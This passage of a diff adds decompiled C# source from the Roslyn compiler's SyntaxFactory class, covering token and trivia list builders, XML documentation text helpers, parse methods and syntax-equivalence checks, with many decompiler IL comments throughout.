missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + SyntaxToken result = default(SyntaxToken); + ((SyntaxToken)(ref result))._002Ector((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlTextNewLine(underlyingNode, text, text, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + if (continueXmlDocumentationComment) + { + SyntaxTriviaList trailingTrivia = ((SyntaxToken)(ref result)).TrailingTrivia; + result = ((SyntaxToken)(ref result)).WithTrailingTrivia(((SyntaxTriviaList)(ref trailingTrivia)).Add(DocumentationCommentExterior("/// "))); + return result; + } + return result; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextSyntax XmlText(string value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return XmlText(XmlTextLiteral(value)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextSyntax XmlText(params SyntaxToken[] textTokens) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlText(TokenList(textTokens)); + } + + public static SyntaxToken XmlTextLiteral(string value) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + string text = new XText(value).ToString(); + return XmlTextLiteral(TriviaList(), text, value, TriviaList()); + } + + public static SyntaxToken XmlTextLiteral(string text, string value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlTextLiteral(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + private static SyntaxToken XmlReplaceBracketTokens(SyntaxToken originalToken, SyntaxToken rewrittenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + if (rewrittenToken.IsKind(SyntaxKind.LessThanToken) && string.Equals("<", ((SyntaxToken)(ref rewrittenToken)).Text, StringComparison.Ordinal)) + { + return Token(((SyntaxToken)(ref rewrittenToken)).LeadingTrivia, SyntaxKind.LessThanToken, "{", ((SyntaxToken)(ref rewrittenToken)).ValueText, ((SyntaxToken)(ref rewrittenToken)).TrailingTrivia); + } + if (rewrittenToken.IsKind(SyntaxKind.GreaterThanToken) && string.Equals(">", ((SyntaxToken)(ref rewrittenToken)).Text, StringComparison.Ordinal)) + { + return Token(((SyntaxToken)(ref rewrittenToken)).LeadingTrivia, SyntaxKind.GreaterThanToken, "}", ((SyntaxToken)(ref rewrittenToken)).ValueText, ((SyntaxToken)(ref rewrittenToken)).TrailingTrivia); + } + return rewrittenToken; + } + + public static SyntaxTrivia DocumentationCommentExterior(string text) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DocumentationCommentExteriorTrivia(text); + } + + public static SyntaxList List() where TNode : SyntaxNode + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(SyntaxList); + } + + public static SyntaxList SingletonList(TNode node) where TNode : SyntaxNode + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxList(node); + } + + public static SyntaxList List(IEnumerable nodes) where TNode : SyntaxNode + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxList(nodes); + } + + public static SyntaxTokenList TokenList() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(SyntaxTokenList); + } + + public static SyntaxTokenList TokenList(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxTokenList(token); + } + + public static SyntaxTokenList TokenList(params SyntaxToken[] tokens) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxTokenList(tokens); + } + + public static SyntaxTokenList TokenList(IEnumerable tokens) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxTokenList(tokens); + } + + public static SyntaxTrivia Trivia(Microsoft.CodeAnalysis.CSharp.Syntax.StructuredTriviaSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = default(SyntaxToken); + return new SyntaxTrivia(ref val, ((SyntaxNode)node).Green, 0, 0); + } + + public static SyntaxTriviaList TriviaList() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(SyntaxTriviaList); + } + + public static SyntaxTriviaList TriviaList(SyntaxTrivia trivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxTriviaList(trivia); + } + + public static SyntaxTriviaList TriviaList(params SyntaxTrivia[] trivias) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxTriviaList(trivias); + } + + public static SyntaxTriviaList TriviaList(IEnumerable trivias) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxTriviaList(trivias); + } + + public static SeparatedSyntaxList SeparatedList() where TNode : SyntaxNode + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(SeparatedSyntaxList); + } + + public static SeparatedSyntaxList SingletonSeparatedList(TNode node) where TNode : SyntaxNode + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return new SeparatedSyntaxList(new SyntaxNodeOrTokenList((SyntaxNode)(object)node, 0)); + } + + public static SeparatedSyntaxList SeparatedList(IEnumerable? nodes) where TNode : SyntaxNode + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + if (nodes == null) + { + return default(SeparatedSyntaxList); + } + ICollection collection = nodes as ICollection; + if (collection != null && collection.Count == 0) + { + return default(SeparatedSyntaxList); + } + using IEnumerator enumerator = nodes.GetEnumerator(); + if (!enumerator.MoveNext()) + { + return default(SeparatedSyntaxList); + } + TNode current = enumerator.Current; + if (!enumerator.MoveNext()) + { + return SingletonSeparatedList(current); + } + SeparatedSyntaxListBuilder val = default(SeparatedSyntaxListBuilder); + val._002Ector(collection?.Count ?? 3); + val.Add(current); + SyntaxToken val2 = Token(SyntaxKind.CommaToken); + do + { + val.AddSeparator(ref val2); + val.Add(enumerator.Current); + } + while (enumerator.MoveNext()); + return val.ToList(); + } + + public static SeparatedSyntaxList SeparatedList(IEnumerable? nodes, IEnumerable? separators) where TNode : SyntaxNode + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (nodes != null) + { + IEnumerator enumerator = nodes.GetEnumerator(); + SeparatedSyntaxListBuilder val = SeparatedSyntaxListBuilder.Create(); + if (separators != null) + { + foreach (SyntaxToken separator in separators) + { + SyntaxToken current = separator; + if (!enumerator.MoveNext()) + { + throw new ArgumentException("nodes must not be empty.", "nodes"); + } + val.Add(enumerator.Current); + val.AddSeparator(ref current); + } + } + if (enumerator.MoveNext()) + { + val.Add(enumerator.Current); + if (enumerator.MoveNext()) + { + throw new ArgumentException("separators must have 1 fewer element than nodes", "separators"); + } + } + return val.ToList(); + } + if (separators != null) + { + throw new ArgumentException("When nodes is null, separators must also be null.", "separators"); + } + return default(SeparatedSyntaxList); + } + + public static SeparatedSyntaxList SeparatedList(IEnumerable nodesAndTokens) where TNode : SyntaxNode + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return SeparatedList(NodeOrTokenList(nodesAndTokens)); + } + + public static SeparatedSyntaxList SeparatedList(SyntaxNodeOrTokenList nodesAndTokens) where TNode : SyntaxNode + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if (!HasSeparatedNodeTokenPattern(nodesAndTokens)) + { + throw new ArgumentException(CodeAnalysisResources.NodeOrTokenOutOfSequence); + } + if (!NodesAreCorrectType(nodesAndTokens)) + { + throw new ArgumentException(CodeAnalysisResources.UnexpectedTypeOfNodeInList); + } + return new SeparatedSyntaxList(nodesAndTokens); + } + + private static bool NodesAreCorrectType(SyntaxNodeOrTokenList list) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + int i = 0; + for (int count = ((SyntaxNodeOrTokenList)(ref list)).Count; i < count; i++) + { + SyntaxNodeOrToken val = ((SyntaxNodeOrTokenList)(ref list))[i]; + if (((SyntaxNodeOrToken)(ref val)).IsNode && !(((SyntaxNodeOrToken)(ref val)).AsNode() is TNode)) + { + return false; + } + } + return true; + } + + private static bool HasSeparatedNodeTokenPattern(SyntaxNodeOrTokenList list) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + int i = 0; + for (int count = ((SyntaxNodeOrTokenList)(ref list)).Count; i < count; i++) + { + SyntaxNodeOrToken val = ((SyntaxNodeOrTokenList)(ref list))[i]; + if (((SyntaxNodeOrToken)(ref val)).IsToken == ((i & 1) == 0)) + { + return false; + } + } + return true; + } + + public static SyntaxNodeOrTokenList NodeOrTokenList() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(SyntaxNodeOrTokenList); + } + + public static SyntaxNodeOrTokenList NodeOrTokenList(IEnumerable nodesAndTokens) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxNodeOrTokenList(nodesAndTokens); + } + + public static SyntaxNodeOrTokenList NodeOrTokenList(params SyntaxNodeOrToken[] nodesAndTokens) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxNodeOrTokenList(nodesAndTokens); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax IdentifierName(string name) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return IdentifierName(Identifier(name)); + } + + public static SyntaxTree SyntaxTree(SyntaxNode root, ParseOptions? options = null, string path = "", Encoding? encoding = null) + { + return CSharpSyntaxTree.Create((CSharpSyntaxNode)(object)root, ((CSharpParseOptions)(object)options) ?? CSharpParseOptions.Default, path, encoding, (SourceHashAlgorithm)1); + } + + public static SyntaxTree ParseSyntaxTree(string text, ParseOptions? options = null, string path = "", Encoding? encoding = null, CancellationToken cancellationToken = default(CancellationToken)) + { + return CSharpSyntaxTree.ParseText(SourceText.From(text, encoding, (SourceHashAlgorithm)1), (CSharpParseOptions)(object)options, path, null, null, cancellationToken); + } + + public static SyntaxTree ParseSyntaxTree(SourceText text, ParseOptions? options = null, string path = "", CancellationToken cancellationToken = default(CancellationToken)) + { + return CSharpSyntaxTree.ParseText(text, (CSharpParseOptions)(object)options, path, cancellationToken); + } + + public static SyntaxTriviaList ParseLeadingTrivia(string text, int offset = 0) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return ParseLeadingTrivia(text, CSharpParseOptions.Default, offset); + } + + internal static SyntaxTriviaList ParseLeadingTrivia(string text, CSharpParseOptions options, int offset = 0) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + using Lexer lexer = new Lexer(MakeSourceText(text, offset), options); + return lexer.LexSyntaxLeadingTrivia(); + } + + public static SyntaxTriviaList ParseTrailingTrivia(string text, int offset = 0) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + using Lexer lexer = new Lexer(MakeSourceText(text, offset), CSharpParseOptions.Default); + return lexer.LexSyntaxTrailingTrivia(); + } + + internal static Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax? ParseCref(string text) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + SyntaxTriviaList val = ParseLeadingTrivia($"/// ", CSharpParseOptions.Default.WithDocumentationMode((DocumentationMode)2)); + SyntaxTrivia val2 = ((SyntaxTriviaList)(ref val)).First(); + Microsoft.CodeAnalysis.CSharp.Syntax.XmlAttributeSyntax xmlAttributeSyntax = ((Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax)((Microsoft.CodeAnalysis.CSharp.Syntax.DocumentationCommentTriviaSyntax)(object)((SyntaxTrivia)(ref val2)).GetStructure()).Content[1]).Attributes[0]; + if (xmlAttributeSyntax.Kind() != SyntaxKind.XmlCrefAttribute) + { + return null; + } + return ((Microsoft.CodeAnalysis.CSharp.Syntax.XmlCrefAttributeSyntax)xmlAttributeSyntax).Cref; + } + + public static SyntaxToken ParseToken(string text, int offset = 0) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + using Lexer lexer = new Lexer(MakeSourceText(text, offset), CSharpParseOptions.Default); + return new SyntaxToken((GreenNode)(object)lexer.Lex(LexerMode.Syntax)); + } + + public static IEnumerable ParseTokens(string text, int offset = 0, int initialTokenPosition = 0, CSharpParseOptions? options = null) + { + using Lexer lexer = new Lexer(MakeSourceText(text, offset), options ?? CSharpParseOptions.Default); + int position = initialTokenPosition; + SyntaxToken token; + do + { + token = lexer.Lex(LexerMode.Syntax); + yield return new SyntaxToken((SyntaxNode)null, (GreenNode)(object)token, position, 0); + position += ((GreenNode)token).FullWidth; + } + while (token.Kind != SyntaxKind.EndOfFileToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax ParseName(string text, int offset = 0, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameSyntax nameSyntax = languageParser.ParseName(); + if (consumeFullText) + { + nameSyntax = languageParser.ConsumeUnexpectedTokens(nameSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax)(object)((GreenNode)nameSyntax).CreateRed(); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax ParseTypeName(string text, int offset, bool consumeFullText) + { + return ParseTypeName(text, offset, null, consumeFullText); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax ParseTypeName(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax typeSyntax = languageParser.ParseTypeName(); + if (consumeFullText) + { + typeSyntax = languageParser.ConsumeUnexpectedTokens(typeSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax)(object)((GreenNode)typeSyntax).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax ParseExpression(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax expressionSyntax = languageParser.ParseExpression(); + if (consumeFullText) + { + expressionSyntax = languageParser.ConsumeUnexpectedTokens(expressionSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax)(object)((GreenNode)expressionSyntax).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax ParseStatement(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax statementSyntax = languageParser.ParseStatement(); + if (consumeFullText) + { + statementSyntax = languageParser.ConsumeUnexpectedTokens(statementSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax)(object)((GreenNode)statementSyntax).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.MemberDeclarationSyntax? ParseMemberDeclaration(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MemberDeclarationSyntax memberDeclarationSyntax = languageParser.ParseMemberDeclaration(); + if (memberDeclarationSyntax == null) + { + return null; + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.MemberDeclarationSyntax)(object)((GreenNode)(consumeFullText ? languageParser.ConsumeUnexpectedTokens(memberDeclarationSyntax) : memberDeclarationSyntax)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax ParseCompilationUnit(string text, int offset = 0, CSharpParseOptions? options = null) + { + using Lexer lexer = MakeLexer(text, offset, options); + using LanguageParser languageParser = MakeParser(lexer); + return (Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax)(object)((GreenNode)languageParser.ParseCompilationUnit()).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax ParseParameterList(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax parameterListSyntax = languageParser.ParseParenthesizedParameterList(); + if (consumeFullText) + { + parameterListSyntax = languageParser.ConsumeUnexpectedTokens(parameterListSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax)(object)((GreenNode)parameterListSyntax).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax ParseBracketedParameterList(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedParameterListSyntax bracketedParameterListSyntax = languageParser.ParseBracketedParameterList(); + if (consumeFullText) + { + bracketedParameterListSyntax = languageParser.ConsumeUnexpectedTokens(bracketedParameterListSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax)(object)((GreenNode)bracketedParameterListSyntax).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax ParseArgumentList(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentListSyntax argumentListSyntax = languageParser.ParseParenthesizedArgumentList(); + if (consumeFullText) + { + argumentListSyntax = languageParser.ConsumeUnexpectedTokens(argumentListSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax)(object)((GreenNode)argumentListSyntax).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax ParseBracketedArgumentList(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedArgumentListSyntax bracketedArgumentListSyntax = languageParser.ParseBracketedArgumentList(); + if (consumeFullText) + { + bracketedArgumentListSyntax = languageParser.ConsumeUnexpectedTokens(bracketedArgumentListSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax)(object)((GreenNode)bracketedArgumentListSyntax).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentListSyntax? ParseAttributeArgumentList(string text, int offset = 0, ParseOptions? options = null, bool consumeFullText = true) + { + using Lexer lexer = MakeLexer(text, offset, (CSharpParseOptions)(object)options); + using LanguageParser languageParser = MakeParser(lexer); + Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeArgumentListSyntax attributeArgumentListSyntax = languageParser.ParseAttributeArgumentList() ?? new Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeArgumentListSyntax(SyntaxKind.AttributeArgumentList, Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.MissingToken(SyntaxKind.OpenParenToken), null, Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.MissingToken(SyntaxKind.CloseParenToken), null, null); + if (consumeFullText) + { + attributeArgumentListSyntax = languageParser.ConsumeUnexpectedTokens(attributeArgumentListSyntax); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AttributeArgumentListSyntax)(object)((GreenNode)attributeArgumentListSyntax).CreateRed(); + } + + private static SourceText MakeSourceText(string text, int offset) + { + return SourceText.From(text, Encoding.UTF8, (SourceHashAlgorithm)1).GetSubText(offset); + } + + private static Lexer MakeLexer(string text, int offset, CSharpParseOptions? options = null) + { + return new Lexer(MakeSourceText(text, offset), options ?? CSharpParseOptions.Default); + } + + private static LanguageParser MakeParser(Lexer lexer) + { + return new LanguageParser(lexer, null, null); + } + + public static bool AreEquivalent(SyntaxTree? oldTree, SyntaxTree? newTree, bool topLevel) + { + if (oldTree == null && newTree == null) + { + return true; + } + if (oldTree == null || newTree == null) + { + return false; + } + return SyntaxEquivalence.AreEquivalent(oldTree, newTree, null, topLevel); + } + + public static bool AreEquivalent(SyntaxNode? oldNode, SyntaxNode? newNode, bool topLevel) + { + return SyntaxEquivalence.AreEquivalent(oldNode, newNode, null, topLevel); + } + + public static bool AreEquivalent(SyntaxNode? oldNode, SyntaxNode? newNode, Func? ignoreChildNode = null) + { + return SyntaxEquivalence.AreEquivalent(oldNode, newNode, ignoreChildNode, topLevel: false); + } + + public static bool AreEquivalent(SyntaxToken oldToken, SyntaxToken newToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SyntaxEquivalence.AreEquivalent(oldToken, newToken); + } + + public static bool AreEquivalent(SyntaxTokenList oldList, SyntaxTokenList newList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SyntaxEquivalence.AreEquivalent(oldList, newList); + } + + public static bool AreEquivalent(SyntaxList oldList, SyntaxList newList, bool topLevel) where TNode : CSharpSyntaxNode + { + return SyntaxEquivalence.AreEquivalent(oldList.Node, newList.Node, null, topLevel); + } + + public static bool AreEquivalent(SyntaxList oldList, SyntaxList newList, Func? ignoreChildNode = null) where TNode : SyntaxNode + { + return SyntaxEquivalence.AreEquivalent(oldList.Node, newList.Node, ignoreChildNode, topLevel: false); + } + + public static bool AreEquivalent(SeparatedSyntaxList oldList, SeparatedSyntaxList newList, bool topLevel) where TNode : SyntaxNode + { + return SyntaxEquivalence.AreEquivalent(oldList.Node, newList.Node, null, topLevel); + } + + public static bool AreEquivalent(SeparatedSyntaxList oldList, SeparatedSyntaxList newList, Func? ignoreChildNode = null) where TNode : SyntaxNode + { + return SyntaxEquivalence.AreEquivalent(oldList.Node, newList.Node, ignoreChildNode, topLevel: false); + } + + internal static Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? GetStandaloneType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? node) + { + if (node != null && node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expressionSyntax && (node.Kind() == SyntaxKind.IdentifierName || node.Kind() == SyntaxKind.GenericName)) + { + switch (expressionSyntax.Kind()) + { + case SyntaxKind.QualifiedName: + { + Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax qualifiedNameSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax)expressionSyntax; + if (qualifiedNameSyntax.Right == node) + { + return qualifiedNameSyntax; + } + break; + } + case SyntaxKind.AliasQualifiedName: + { + Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax aliasQualifiedNameSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax)expressionSyntax; + if (aliasQualifiedNameSyntax.Name == node) + { + return aliasQualifiedNameSyntax; + } + break; + } + } + } + return node; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax GetStandaloneExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + return (GetStandaloneNode(expression) as Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax) ?? expression; + } + + internal static CSharpSyntaxNode? GetStandaloneNode(CSharpSyntaxNode? node) + { + if (node == null || (!(node is Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax) && !(node is Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax))) + { + return node; + } + switch (node.Kind()) + { + default: + return node; + case SyntaxKind.NameMemberCref: + case SyntaxKind.IndexerMemberCref: + case SyntaxKind.OperatorMemberCref: + case SyntaxKind.ConversionOperatorMemberCref: + case SyntaxKind.IdentifierName: + case SyntaxKind.GenericName: + case SyntaxKind.ArrayType: + case SyntaxKind.NullableType: + { + CSharpSyntaxNode parent = node.Parent; + if (parent == null) + { + return node; + } + switch (parent.Kind()) + { + case SyntaxKind.QualifiedName: + if (((Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax)parent).Right == node) + { + return parent; + } + break; + case SyntaxKind.AliasQualifiedName: + if (((Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax)parent).Name == node) + { + return parent; + } + break; + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + if (((Microsoft.CodeAnalysis.CSharp.Syntax.MemberAccessExpressionSyntax)parent).Name == node) + { + return parent; + } + break; + case SyntaxKind.MemberBindingExpression: + if (((Microsoft.CodeAnalysis.CSharp.Syntax.MemberBindingExpressionSyntax)parent).Name == node) + { + return parent; + } + break; + case 